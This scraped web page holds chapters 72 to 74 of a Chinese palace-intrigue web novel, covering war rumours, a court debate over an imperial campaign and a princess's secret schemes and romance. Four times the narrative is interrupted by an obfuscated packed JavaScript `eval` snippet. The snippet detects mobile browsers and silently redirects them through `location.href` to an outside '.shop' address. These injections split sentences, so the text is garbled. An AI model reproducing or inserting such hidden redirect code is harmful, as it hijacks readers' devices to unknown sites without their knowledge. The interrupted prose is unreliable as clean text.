;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667093|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头之交，无法深谈，亦不可轻易得罪。
敷衍地寒暄了几句后，陆泽便随着那太监匆匆进宫。
定国公府的下人们接到命令，大半夜忙忙碌碌，为尤项一人准备茶水点心。
他捧着一碟糕点，斜坐在大厅左侧，一口一块吃得有些发噎，待咽下口苦茶后忽然冷笑，“哼，谁稀罕这些。”
“嘭”的一声他搁下茶壶，低头看了看自己的衣衫，强撑颜面与战战兢兢询问的下人道：“本官需更衣沐浴，待接到太后与陛下的命令后，还要上战场去对付那群粗鲁的汉子。你们告诉国公爷，本官先走了。”
……
西院内。
陆承韫听着前方的动静渐渐平息，对匆匆赶回的元栖道：“他走了？”
“是，老爷已经进宫，太保大人则回府等待宫内的圣旨。”
距离上次家法不过二十余天，陆承韫面色看似如常，身体到底损伤，需要静养。
元栖上前搀扶他进入屋内，关好房门，又往炉中添了些炭火。
“属下真是心服口服。公主殿下料事如神，若非提前警觉，怎会只有百来人被抓？边防的将领又怎能及时关闭互市，将军力全部集结于一处？
殿下不仅将初语楼开遍大江南北，赚得盆满钵满，手中的暗卫营连边防之地都有涉足，且开辟了一条迅速传递信息的通道，提前得知一切大事。
这究竟是怎样做到的？殿下怎会聪慧至此呢？”
陆承韫坐在炭炉旁，抬眸注视着燃烧的火焰，嘴角勾起淡笑。
“时间、金钱、势力，以及对人心的精准拿捏，这些因素缺一不可。”
“可是在这短短四年里，殿下是如何在朝臣的眼皮底下，创造出这样庞大的势力呢？四年前殿下只有十六岁，这样的年纪仅是个恪守礼节的小姑娘。”
“确实可怕。”
陆承韫语气尾部带着不易察觉的上扬，眼眸如星河般闪烁明亮。
他身体微微后倾，举止透露出一份隐匿的自豪。
短短四字依违两可，元栖无语地瞧着自家主子。
厚貌深情，看似面色淡然，其实心里早就有偏有向了吧，主子真是愈发不值钱了。
元栖自幼跟随他，对他的变化了如指掌，听罢不禁揶揄道：“公子上辈子定然是积了大德，这辈子才能遇到这样好的夫人。”
“嗯，确实是三生有幸。”
贤昭公主的确是多才多艺，除了身手稍逊于公子，那身轻功简直如入无人之境，令人叹为观止。
元栖说完，又不免有些担忧，“公子，你说殿下才华横溢，又有那么多痴情者等待她的垂青。她会甘愿隐入后宫，做一个普通的皇后吗？
这皇后之位，只要公主殿下愿意，便是轻而易举就能得到的。如果只是为了这个，为何还要大费周章，做这么多麻烦、绕弯的事情呢？”
“太祖打下的明昭王朝，沁澜有她自己的想法。”陆承韫自认为还算了解她，“待我登基后，自会依照她的意愿行事，不会强迫，不会扩充后宫。此事，兄长定然做不到。”
“那醇亲王呢？”元栖直言不讳，见自家公子脸色骤变，连忙改口，慎重考虑后斟酌话语道：“殿下对公子一见钟情，这世上公子与殿下是最为亲密与般配的。”
是了，沁澜若想要离开，即使润知知晓她已非完璧之身，也不会介意。
那样才华横溢的人，只会觉得自己自愧不如。
想到此处，陆承韫身上未及愈合的伤口更加疼痛，连带着胸口亦有些发闷。
72. 第 72 章
钟鼓悠扬回荡，锣鼓震彻云霄。
正月十六午时，京师城内的热闹丝毫不减。
街巷之间车马如织，行人接踵摩肩，望月阁内更是人声鼎沸，大堂、厢房皆座无虚席，言辞尖锐，犹如沸水腾涌。
大堂角落处，一位士子身形向前探去，面色凝重言道：“你可曾听说？边疆战事就要一触即发了！”
“早已有所耳闻了。”对面身着华服的男子摆手回应：“清晨时分这消息便已传遍京师的每个角落。据说异族各部落联手，意图侵犯我明昭王朝。”
“不仅如此，我还听说迄今为止已有一整村的人惨遭屠戮，身首异处，稍微触碰便骨碌碌滚动……嘶……”
“你消息闭塞，我倒是听闻并不仅有一村的人，而是整整一城！那些部落不仅手段残忍地将尸身分离，还掳掠了众多女子。其中不乏年幼……哎，我虽未亲眼目睹，但光是想象那场景，便觉得窒息难耐啊！”
“所幸我们的疆土尚未被侵占。可据最新情报，那些外族将掳走的孩童作为人质，扬言若不拿粮食和城池交换，便每日残杀三人，手段残忍，简直令人发指。”
“此言差矣。”邻桌一位身着布衣的青年闻言，出声更正，“我怎么听说被掳走的是男子，还是年前未及时归来的壮年商户，怎又变成了孩童？”
“哼，你懂什么。”华服男子面露不屑，“我家族可是有背景的。昨夜太后与陛下接连召见了多位重臣，其中便有我的亲眷。这可是内部消息，你衣着这样的简陋，不知晓也属正常。”
“……这话可是当真？你莫不是为了引人注目，故意夸大其词？”布衣男子半信半疑地瞥了他一眼。
“你这平民真是无礼。看看我这衣衫的质地，单单一匹布便价值连城，寻常人岂能穿得起？真是没见识的家伙……”
望月楼大堂内，众人议论纷纷，有些话越传越是夸张离奇，有的甚至胡诌八扯，声称有八十万大军压境，已逼近京师。
烟雾缭绕之中，茶香与酒香交织，再加上这众说纷纭的嘈杂声，吵得人心烦意乱，脑壳生疼。
四周皆是关于此事的议论，角落的士人揉着眉心，“如今朝堂之上的老臣仅剩定国公，其余有能的将领皆镇守边关，且他们多为后辈，兵法造诣如何很难预料。行军布阵与权谋策略毕竟不同，若没有主持大局、震慑众军的将领，此战胜负不可确信啊。国破家亡，往往只在一瞬之间。”
“你这话也未免太过危言耸听了！”
华服男子猛地灌下一杯酒，壮胆道：“京师距那边疆之地这样的遥远，怎么会有事？前朝覆灭乃是残民自肥，导致天下怨声载道。而今不同，我们的这位陛下……呃……太后娘娘！太后在太祖皇帝驾崩后，挺身而出，稳定朝纲，将明昭王朝治理得国泰民安。不管是八万还是八十万大军，我坚信太后娘娘肯定会迅速想出应对之策的。”
“迅速？能有多迅速？”
士人深深叹息一声，“再迅速，朝廷若无令人信服的将领，那些被当作人质的百姓，恐怕也会因身份卑微而被朝廷所弃。区区孩童……士农工商，商户是最为低贱的存在，又如何能与朝廷耗费重金训练的兵士相提并论呢？”
“呃……其实也不必如此悲观。总会有解决之道的。只是那些被当作人质的女子怕是凶多吉少了。说到底，在天家眼中，我们终究只是微不足道的存在。”
“呵……”邻桌的布衣青年再次转过身来，揶揄道：“你刚才不是说自己上头有人，亲戚都是大官吗？怎么现在又自己露馅了，连人质是男是女都不清楚了呢？你这身衣裳怕是倾尽家产买来的，就为了炫耀吧？”
“滚滚滚，你是谁啊，少跟本公子套近乎！”
“切，谁稀罕跟你搭话！”
繁花似锦，热闹非凡，众人嘴上虽在调侃，心中却都提着一口气，生怕自己好不容易得来的安稳被彻底打乱。
堂内不算富裕者时时低头叹息，关注朝廷对此次战役俘虏的处置。
＆
刚过申时，天色已渐渐昏暗，乾清宫内气氛凝重。
萧墨凌神色冷峻地端坐首位，双拳隐于袖中，抬眸凝视着对面噤若寒蝉的大臣们。
“仅仅一夜，消息便如野火燎原般传遍京师，无论是士人、学子还是寻常百姓，大街小巷无处不在议论此事。各位爱卿，你们认为，这消息究竟是如何泄露的？”
庆如韩位居群臣之首，望着此刻聚集在此的一众人等，心中暗自松了口气。
此事太过重大，朝廷若无决策便贸然传开，势必会引发恐慌，导致士气低落，未战先怯。
更何况，百姓间的传言真假难辨，甚至夸大其词，将一切描绘得神乎其神，心惊胆战。
今日到场之人，不仅有朝廷重臣，醇亲王、宁郡王以及贤昭公主皆在。
太后或许已与陛下提前商讨出对策？
等待许久都无人回应，萧墨凌身体微微后倾，淡笑着不紧不慢道：“莫非是朕错怪了众位爱卿，导致消息无缘无故地泄露？”
陆泽身姿愈低。
昨夜归府后，他又与几位重臣深谈许久。
这等大事自王朝成立以来首次发生，知晓实情的人无不辗转反侧，难以入眠。
一夜半日的煎熬分析时局，后豁然发现，此刻或许是凌儿真正掌握朝政的绝佳时机，实属难得。
沉吟片刻，陆泽率先站出队列，俯首行礼道：“陛下、太后娘娘，北狄可汗曾与我朝签订协议，现在却贸然毁约残杀我王朝子民，此乃背信弃义、逆天悖理之举。□□之威不可侵犯，老臣认为应立即出兵讨伐，以振我国威。”
有了陆泽带头，后续官员纷纷出列禀报。
户部尚书慷慨激昂，声音于大殿中回荡，“我朝繁盛，商户们按时缴纳赋税，国库充盈，钱粮满仓。老臣认为只需我等精心筹划，权衡利弊后选择最佳方案，便能使国库更加昌盛，百姓也能安居乐业。”
明昭王朝已平安度过四年，但骨子里的血性仍未完全消逝。
工部尚书随后站出队列，禀报道：“启奏陛下，若出兵讨伐必须确保道路畅通，兵部押送粮草及时。既然二位大人同意出兵，工部愿意倾尽全力，提前侦查并修缮官道，以确保不延误战机。”
向来倡导和谐的礼部也持相同意见，只是表达得更为委婉。
乾清宫内义愤填膺，各抒己见。
各部根据自身职责与利益，叽叽喳喳地讨论着。
与市井小民不同的则是话语更为委婉。
一旁静静聆听的萧抒戳了戳身旁人的衣袖，低声侧首道：“陛下最初询问的，似乎并非此事吧？是谁带头将话题拐弯了呢？”
蔫润知朝他轻轻摇了摇头便不再理会，转而看向右侧，“是陛下召你来的吗？”
“嗯。”前方讨论得热火朝天，萧沁澜亦压低了声音回应，“京师之中，
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678996|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关于此事的言论是不是很离谱？”
“是，我坐马车来时，已谈到百万大军压阵，马上便要攻入京师了。即便隔着厚厚的帘子，亦能听到行人与摊贩的以讹传讹。”
蔫润知凑近她耳畔，柔声说道：“安然度过许久，乍听此事便危言耸听，难免会让人联想起前朝的暴政，万民担忧。”
“原来如此，难怪今日皇兄与母后会召我前来，想必是已有了对策。”
“应该吧……”蔫润知目视着她白皙的侧脸，眼眸渐渐失神。
“朝中有能者不足，那些从前朝厮杀到至今的将领之子无人压制，皇兄召你们二人来，定然有重要任务要交代。”
萧沁澜忽然转头望向他，与他视线直直相撞，“无论任何任务，你都要小心。”
“……”
蔫润知猝不及防，被那双如绚烂清澈的眼眸逮个正着，霎时脸色绯红，心跳如鼓点般“扑通扑通”响个不停。
他慌忙侧过头，不敢再看，抿了抿唇，垂眸盯着光洁无瑕的地面，嗓子微微沙哑，含糊不清地“嗯”了一声。
萧沁澜的纤眉不易察觉地蹙起，又状若无事地收回视线，泰然自若。
百万大军？
攻到京师？
这样的谣言实在荒唐，但却直击人心。
这并不是她原先的安排，回去之后害还要详细查明，到底有哪方势力是她所不知晓的。
乡试舞弊案中的李贞合，狎妓案中的那位官员。
此两人她并未下杀心。
到底是谁，能同时瞒过太后、定国公与她的耳目，做到这种地步？
自己出生起便思索未来处境，与她年纪相仿的人，势力不会超越她。
想来只能是那些权柄与阅历，皆极为丰富的老者。
究竟是哪位朝廷命官？
萧沁澜摩挲着锦帕，审视着眼前一众臣子。
探讨仍在继续，官员们的建议合情合理，其中亦不乏让商户为国捐躯的偏激言辞，引得陛下几声谴责。
待声响渐小，庆如韩方才上前一步，弯腰作揖道：“此事关乎国家安危，不可草率决定。应审慎决策，明察秋毫，确保万无一失，方能行稳致远。”
这话听来模棱两可，明远太后忽而轻笑出声，“太傅大人是主张和议吗？”
“老臣并非此意。陛下，前线将领皆是追随太祖皇帝的功臣，且太后娘娘主政时曾下过命令，将在外君命有所不受。若随便派遣一人前去主持大局，恐怕会惹人不满，得不到一兵一卒的支持。”
意思显而易见，陆泽同样有此想法。
他重重叹息，“太傅这话虽难听，但确是事实。当年朝野内外混乱，太后娘娘不得已与众位大臣商议，下了这道圣旨。如果若贸然收回兵权，会引得人心惶惶，涣散军心。”
武将听他这样贬低，瞬间站出队列，“陛下，太后娘娘，外族掳走我朝子民，毁坏合约，这是对我王朝的公然挑衅。臣咽不下这口气，臣愿自请出战，誓死捍卫明昭王朝的尊严，将那些外敌统统杀净！”
陆泽忍不住长吁短叹，“话说得不错，但京师中将领皆身有要职。且他们虽有实绩，终究不如将领作战经验丰富。论起身份地位，也未必压得住。哎，这真是令人头痛的难题。”
听到此处，明远太后意味深长地笑问，“那依定国公所言，此次出征，该由谁来做兵马大元帅，可收服民心，拿回兵权呢？”
73. 第 73 章
事出紧急，乾清宫中热议纷呈，太后、陛下与朝臣齐齐商议应对之策，萧沁澜在一旁充当着吉祥物，自申时末至戌时，整整两个半时辰后方得以返回宁安宫内。
蔫润知本想待商谈告一段落，与她闲聊数语，可瞥见窗外已晚的天色，终是不忍打扰。
望着她渐行渐远的背影，与一脸戏谑的萧抒推搡着离去。
＆
宁安宫内，萧沁澜沐浴更衣后，身躯绵软地倒在榻上闭目休憩，任由微湿的长发披散在床沿。
本采搬来一把小巧的凳子坐在床边，细心地为她擦拭着。
除大太监赵全外，乾清宫内不许他人侍奉，她对商户被擒的最后决定并不了解。
见主子如此疲惫，她未曾多言，更换了数条锦帕将发丝擦干，本采为她揉捏着双腿。
长时间战立的酸痛得以缓解，萧沁澜思绪不停，“你确信本宫所放出的消息，从未经过改动？”
“是。”本采疑惑地抬头，细想之下瞬间领悟，“谬言四起，今日乾清宫中大臣云集，莫非与那流言有关？”
“百万雄师集结，即刻便将兵临京师城下。呵……”
本采手中的动作戛然而止，素来淡然的双眸骤然睁大，声音不自觉地提高了几分，“短短半日，竟然就变得这般荒诞不经？”
“此事既非本宫授意，亦非太后的手段，若是定国公所为……御驾亲征……”
“御…御驾亲征？”本采震惊变色，“这…怎么会做出这样的决定？小题大做，难以服众，实在难以理解！”
“咱们这位陛下并无功绩，亦无势力，最致命便是那不算正统的身世。灾情之事太后功绩卓绝，天下万民会多几分拥护。这样毫无威胁但可收回兵权，且让民心所归的小打小闹，自是势在必得。”
“御驾亲征不是小事，众朝臣莫非全部同意？”
“现在的驻守将领可皆是功臣后代，除了陛下，唯有润知与陆承韫镇得住。定国公不会放过这等万古流芳的好事，朝臣亦不愿屈居女子之下。御驾亲征吗？”
萧沁澜望着虚空浅浅叹息，“太后答得干脆，大约是早已有了决断。”
“那二公子……”本采欲言又止。
现在就要舍弃吗？
陆二公子性情沉稳，容貌温雅，虽心计颇深，但多为自保，从无害人之心。
亦是主子唯一可近身的驸马，若能留下，主子闲暇时也能有个解闷的人。
她跟随自己已近十年，萧沁澜能猜到她暗藏的心思，也知晓她的忠诚。
不过做事总要付出代价的。
萧沁澜缓缓起身，将锦被搭在肩上，倚着软枕柔声道：“你可曾想过，若陆承韫真的登基为帝，定国公将会是何等态度？萧墨凌又该怎样自处？
本采，你与你那妹妹性格迥异。
世间有太多的污浊，她杀伐果断，你经历过却仍保持善良的心。这是你的优点，无需自责。还有……”
萧沁澜倾身向前，笑意盈盈地注视着她，“你们姐妹性格虽不同，但都是极好的下属。暗卫营离不开你的妹妹，本宫也离不开你。
你的话很有道理。放心，本宫心里有数，不会太过决绝。但此次的御驾亲征，你那妹妹需跟随陆承韫一同前往，好好‘保护’当今陛下。”
说罢，她似是想起了什么，突然起身走到案几前，提笔写下一行小字，递了过去。
“将此物交予你妹妹，你此刻便去。”
“那主子身边可还需他人照料？”
“不必了。”萧沁澜瞥了眼自己的中衣，“将本宫的外衣取来。说来，若非你方才提醒，本宫险些忘了今夜有事要推进。”
听到这句不经意的话语后，本采原本阴霾的神情，顿时变得愉悦起来。
“是，属下这就去办。”
言罢便进屋去取外衣，顺手拿来早已备好的药粉，侍奉主子更衣后便匆匆离去。
萧沁澜手握小瓷瓶，用力捏了下。
本采确实心地善良，细心周到，忠诚可靠。哎……
萧沁澜喟叹一声，遂将小瓷瓶别在腰间，于暗卫的掩护下，飞身跃上屋顶。
＆
“唉，疲惫不堪啊！饥肠辘辘啊！”
望月阁二楼雅房里，萧抒含糊着低语感慨，手中动作却不停，揎拳捋袖地将食物胡乱塞入口中。
蔫润知半开着窗扉，慢悠悠品尝糕点，耳畔却高高竖起，倾听大堂内喧嚣嘈杂的言谈声。
“你还是快些用膳吧，都是些谬言妄语，以讹传讹，没什么好听的。”萧抒精准无误地将一块糕点掷入他碗中，随后轻啜一口香茗，继续埋首于餐食之中。
“早知今日我就不应该去郊外策马登山。本想着午后归来梳洗一番，尽情享受佳肴，再自在地阅读几个时辰，谁料到朝中竟会突生这等大事。
你说那些异族究竟是怎么打算的？即便要来也应选在朝局动荡、帝位未定的时侯。如今一切尘埃落定，陛下又勤勉理政，他们此举不是在自寻死路吗？”
“应是饿得狠了。”
蔫润知意味深长，“去年边关互市开启，北狄人不愿关系过于紧张，又因多了条生路方勉强安静。距今已过了一年，他们先前侵占中原所得的粮食、牲畜，恐怕早已挥霍殆尽。”
“不会吧？”萧抒震惊地瞪大眼睛，伸长了脖子咽下口中食物，“这才短短一年，那些被抢走的器皿就全部换完了？这样不顾后果的部落，还有什么存在的必要吗？”
“嗯，确实早该灭亡。”
听得久了，这些杂乱无章的信息令思绪愈发纷乱。
蔫润知起身关好门窗，屋内刹那间变得安静无声，那被激起的烦忧情绪也立即平息。
“啊……”
萧抒吃得心满意足，摸了摸肚子，舒适地叹了口气，“也不知今日召我们进宫究竟所为何事。以我们二人的身份，去了边关谁也压制不住。或许只有文武双全的贤昭能管住，但偏偏她又是个女子。你说，陛下会亲自率兵出征吗？”
“此乃定局。”
“也是，为了功勋与兵权，陛下必当前往。况且此事虽大，只要不愚钝，不轻易相信那些谣言，便知这场战役难以打响。就算真的开战，也突破不了第一道防线。”
“正因事实这般明朗，定国公才急于出列劝谏。”
“有家族支撑果然不同。若大长公主今日还在，太和殿的龙椅……”
“慎言。”蔫润知抬眼望向他，“文华殿时，你可有那种想法？”
萧抒倒是坦然自若，他双手一摊，爽快地道：“任凭谁被选中，都会有那么一丝侥幸想法。毕竟大家出身相仿，所学也相同。你呢？”
蔫润知与他时常相聚，早已熟悉私下模样，也不再故作矜持，一口接一口地拌饭入口。
“你这吃法倒是别具一格，跟你学会后，倒能多添两碗。”
萧抒趴在桌子上，抬眼不怀好意地轻笑，“是贤昭教你的吗？”
“她自幼便这样用膳。”
谈及往昔，蔫润知的神情恍惚，脸上不自觉泛起笑意，“沁澜刚能认人时，便‘咿咿呀呀’地嚷着不再要乳娘。兄长……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689991|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
也就是先宣王，那时对她极为宠爱，仅仅是小半日未曾进食，兄长便急得脸上长了个大痘，直到找来羊奶喂她，才恢复正常。
沁澜刚学会走路时，便要自己用膳。小手握着小勺……”
想起那可爱情景，他摇头轻笑，“握着小勺将所有菜搅和在一起。吃不完的都是我来解决……”
从沁澜一岁到两岁，仅仅一年时光，他便断断续续地唠叨个不停。
萧抒耐心地静静聆听，时不时回应一声，心下多有感慨。
难怪被拒绝多次，对贤昭亦是痴情不改。
之前总听说二人青梅竹马，这个词用得多了便有些麻木。
现在细细品味，一个娇小可爱的人儿，倔强地学习骑射马术。
那圆润的小脸蛋即使憋得通红、圆滚滚的身子不断跌倒也绝不认输。
后来小人儿渐渐长大，与自己背对背并肩作战，直到父母双亡……
这样的人生经历太过相似，又过于重合，换谁也不能忘却。
萧抒耸了耸肩，顺着他盘根究底。
贤昭身份高贵，长相清丽脱俗，性格稳重大方，能上战场，能管宫务。之前也不是没想过迎娶为夫人。
这样的惊世之才，任何男子都会被吸引。
从小陪伴长大的润知尤甚。
哎，若贤昭将来真的嫁人，润知这一生多半会孤独落寞，自哀自毁啊……
＆
定国公府膳堂中，严兰乐难得心情愉悦，笑容满面地道：“来，多吃些，今日回来得晚，想必是饿极了。”
陆承韫态度不卑不亢，接过母亲递来的羹汤，语气平静地道了声谢。
“自家人何必言谢。”严兰乐瞧了眼身旁用膳的老爷，斟酌着言辞，“承韫啊，今日之事母亲有所耳闻，你在府中想必也知晓了外界的议论。”
“是，听下人提起过。”
那些下人特意站在西院廊下谈论此事，议论完便离去，用意不言而喻。
羹汤升起的袅袅雾气，遮掩了陆承韫的真实神情。
他猝不及防，泛起一抹莫名的酸涩。
早已习惯，这情绪转瞬便即逝，不留丝毫痕迹。
“知晓便好。今日你父亲入宫，太后与众位大臣达成一致，决定让凌儿亲自率兵出征。”
严兰乐说完，观察着他的神色。
见他无动于衷，遂叹息一声，抹去因担忧而滑落的眼泪，声音沙哑地道：“凌儿身为一国之君，难免要到人多的地方亲自指挥。
但战场凶险，那些北狄人又生来强壮，万一有哪个不长眼的冲撞了陛下，那可如何是好？
届时定会人心惶惶，天下万民对陛下担忧不已啊！”
没有功绩还庇护贪官的陛下，谁会真正在意？
百姓只关心能否吃饱穿暖，家中的男儿能否读书做官，女孩能否嫁个好人家。
这样的话实在夸张至极。
陆承韫漫不经心地点了点头。
反驳无用，也多是换来一顿有理有据的家法。
年前因着兄长的声誉，父亲下手极为狠绝，事后亲自请了外边的大夫来坐诊，此事被京师众人知晓后，才打消了御史台无休止的弹劾。
当今陛下的生母生父位高权重，对太祖皇帝来说终究是个隐患，但又不能因其行为而让陛下颜面扫地，御史台见风使舵，只能暂时压下此事。
短短一个月，他身上的伤至今还未完全痊愈，现今再次提起兄长，怕是有何关乎性命的事。
父亲母亲，还真是舍得下手啊……
74. 第 74 章
“好了，此事就这般决定了。”
定国公府膳堂之内，陆泽晚膳用罢已毕，将碗筷搁在桌面，一锤定音。
堂内发出“咚”的沉闷回响，荡漾于空中久久未散。
“父亲决定了何事？”陆承韫目光直视首位，语调平和无波，喜怒不形于色。
此事到底关乎凌儿的生死存亡，严兰乐今日尤为耐心温婉。
“御驾亲征之事虽然还未尘埃落定，但边关战事紧迫，北狄人又手握人质，占得先机。
京师中流传的谣言你亦有所耳闻，荒诞不经，或许正有外族添油加醋的嫌疑。料想不久之后，圣旨便将昭告天下。”
“母亲，边疆距京师遥远，北狄被朝廷大军阻于关外，谣言何以流传至此？莫非仅凭那些进京营商的商户？
这类人士因事有牵连，现皆匿于家中，唯恐遭人迁怒成为发泄的对象。除了他们，有谁能躲过太后的监视？”
说到此陆承韫不禁低笑出声，却仅是片刻失态，随即便收敛笑意，垂下眼帘。
“孩儿前日受家法惩治，现下身法已大不如前。长途跋涉的途中伤势会有所加重，危及性命。”
前线烽火连天，凌儿若御驾亲征必受万众瞩目，途中会马不停蹄地疾驰前行。俗语云：“伤筋动骨百日愈”，为求逼真，使朝臣无从挑剔，他所受之伤确实已波及心脉。
陆泽素日里高高在上，惯于发号施令，就算对此心知肚明，也绝不容许自身威严受到一丝丝挑衅。
话音刚落，正当他欲拍案而起之际，严兰乐急忙拉住他，暗中劝他重回座位，又取出手帕，拭着并不存在的泪痕。
“承韫能坦言相告，为娘心中甚感欣慰……”
言辞虚伪，举止矫揉，陆承韫懒得搭理，缓缓搅动着已凉透的羹汤。
“你自幼至今最为乖巧懂事。出生时因前朝官吏贪腐成风，收受贿赂，母亲唯恐波及于你，无奈之下方将你送至庄子，又不惜重金挑选丫鬟仆从，悉心照料……”
陆承韫听罢，抿了抿唇。
十四岁前的日子，确实是他最为舒心的时光，为那些用掉的钱财，他是该处处忍让。
严兰乐继续抹着眼泪，“幸得太祖皇帝慧眼识珠，不忘携你父亲共谋大业。一路北下时本想着此生再难重返故土，这才决定将你接回……”
陆承韫低眉勾唇。
整整十四年，父母未曾踏足过庄子一步，还真是好啊！
“母亲还记得接你回府时，你刚满十四，对周围的长辈皆感陌生。母亲当时心急如焚，便与你父亲商议，让你与润知他们多多交流。润知是个极有耐心的孩子，母亲很是放心……”
润知？
沁澜啊……
当年甫一踏入营帐，便是一袭红衣擦身而过，桃羞杏让，洒脱不羁，明媚且张扬。
一眼望去，便再也无法移开视线。
时至今日，仍未遇见比沁澜更为出色的女子。
忆起旧事，陆承韫疏离淡漠的眼眸泛起点点星光，笑意渐深。
严兰乐喋喋不休，冗长的事情或真或假，在她口中却变为另一番意味。
待她言尽，再次提及那个问题，陆承韫含糊其词，不答应、不拒绝，身上的伤口更是不再提及。
见此情形，严兰乐心内不悦，却堆满笑意，“方才只顾着说话，竟忘了你还未用膳。快喝吧，这羹汤是母亲特地让小厨房为你熬煮的，对身体大有裨益。”
“是，母亲。”陆承韫端起已凉透的羹汤，一勺一勺，慢慢品尝。
＆
西院院内，元栖满目疼惜，紧随陆承韫身后，寸步不离。
“公子饮下那般寒凉的食物，胃里定然感觉不适，属下这就去吩咐厨房熬制一碗姜汤来。”
话落，元栖忍不住滔滔不绝地抱怨起来。
“国公爷也真是的，都是亲生骨肉，竟偏心得如此明显。属下年幼时父母尚在，家中亦有兄弟姐妹。属下也早早便到了庄子里，追随公子左右。每逢佳节回家，也未见父母有何偏袒。
公子这样出类拔萃，即便是为了将来的仕途顺畅，宫中的陛下能够一帆风顺，也不应这么明显地区别对待啊！
明眼人都看得出，这是将公子往其他阵营里推啊！国公爷在战场上英勇无敌，却在这种事情上不分轻重与敌我，糊……简直难以理解。”
察觉到自己后续的话语颇显不敬，元栖当即转换话语，俯视着坚硬而冰冷的地面，心中懊悔不已，恨不得在地上戳出个窟窿来。
公子与老爷是有血缘的亲人，就算公子再怎样宽容、宠溺自己，自己终究只是个下人，怎可随意非议主人？
陆承韫将他的话默默听在心间，却无暇回应或劝慰。
屋内依旧如往常般宁静祥和，但不知为何，他总隐约感觉似乎有人……
能避开所有暗卫的视线，悄无声息地来到此间，若非来杀他，便是来寻他的。
他明面上并无任何权势，也未得罪过任何人。那么……
陆承韫忽然停下脚步，挺拔如松，举止从容不迫，望向屋内的眼眸却闪烁着异样光芒，宛如夜空下初上的灯火，泛起层层涟漪。
“你先退下。”
“……啊？”命令突如其来，元栖不解地愣了一瞬，继而直接应声行礼，满面愁容地退出了院子。
待他离去后，四周传来几缕轻微的风声，不突兀，但足以让人察觉。
陆承韫忍不住低头轻笑。
这些人不愧是自己一手调教，不负他所望，十分识趣。
今日院内，仅有她们二人在啊……
据说轻功卓越之人，耳力是普通高手的数倍。
或许是知晓外界再无人偷听，原本幽暗昏沉的屋内忽然燃起烛火，瞬间驱散了所有的低迷。
陆承韫缓缓吐出一口浊气，整理了一下衣衫几步上前，“吱呀”一声推开了屋门。
屋内空无一人？
刚刚燃起的炭火冷硬而漠然，没有丝毫柔和之感。
陆承韫扬起的嘴角微微下垂，面无表情地抬步进屋，转身关门，绕过屏风看到正在忙碌的人影时，他停在原地，垂下的嘴角再次上扬，眉眼间不自觉地流露出宠溺与温柔。
萧沁澜历经两世，对他的心思早已了然于胸。
她端着盛好的姜汤走近，牵起他自然下垂的手引入桌旁，端起瓷碗吹散热气腾腾的姜汤，递至他的唇边。
“我的伤势已无大碍，能自由活动，不必劳烦。”陆承韫无奈浅笑，随她动作尝了口姜汤，旋即接过她手中的瓷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701792|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碗放在桌上。
姜汤热气腾腾，萧沁澜的掌心因温热而泛起一抹红晕。
陆承韫细心揉捏那白中透粉的手心，眉峰蹙起，低头在她的手心留下一吻，然后端起瓷碗，将姜汤一饮而尽，点滴不剩。
萧沁澜眉眼含笑，抬起纤细的手点了点他的胸膛，那双清澈明亮的眼眸稍稍仰视着他。
“感觉好些了吗？”
这声音实在柔媚，陆承韫听罢的呼吸猛地一窒，心中涌起滔天巨浪，低垂的眼眸深深凝视着她。
“这是特意为我准备的？”
“嗯。”
萧沁澜手掌动了动，戳了戳他那紧绷的胸点，“本来没打算做，但刚才去看了场戏，那戏实在无聊。早已注定的结局却翻来覆去地念叨，闲来无事，我便到了西院，指挥那些暗卫生火切菜。”
“不是你亲手做的？”陆承韫的语气低沉，却带着难以掩饰的笑意，“早知道我就该将它扔在一边。刚才……”
他抬起手臂，一下一下地抚摸着她的长发，“真是可惜了。”
“我亲自加的水哦！”萧沁澜挑了挑眉，自豪道。
“噢……”陆承韫嘴角的笑意愈发浓厚，“那倒是让我死生无憾了。”
“真识趣！”
萧沁澜说完躲过他的手掌，直接起身坐在他的腿上，居高临下，转而抚摸着他的长发，“放得下吗？”
“早已习惯了。”陆承韫伸手环住她的腰肢，抬眸仰望着她。
“迟早会更为习惯。”
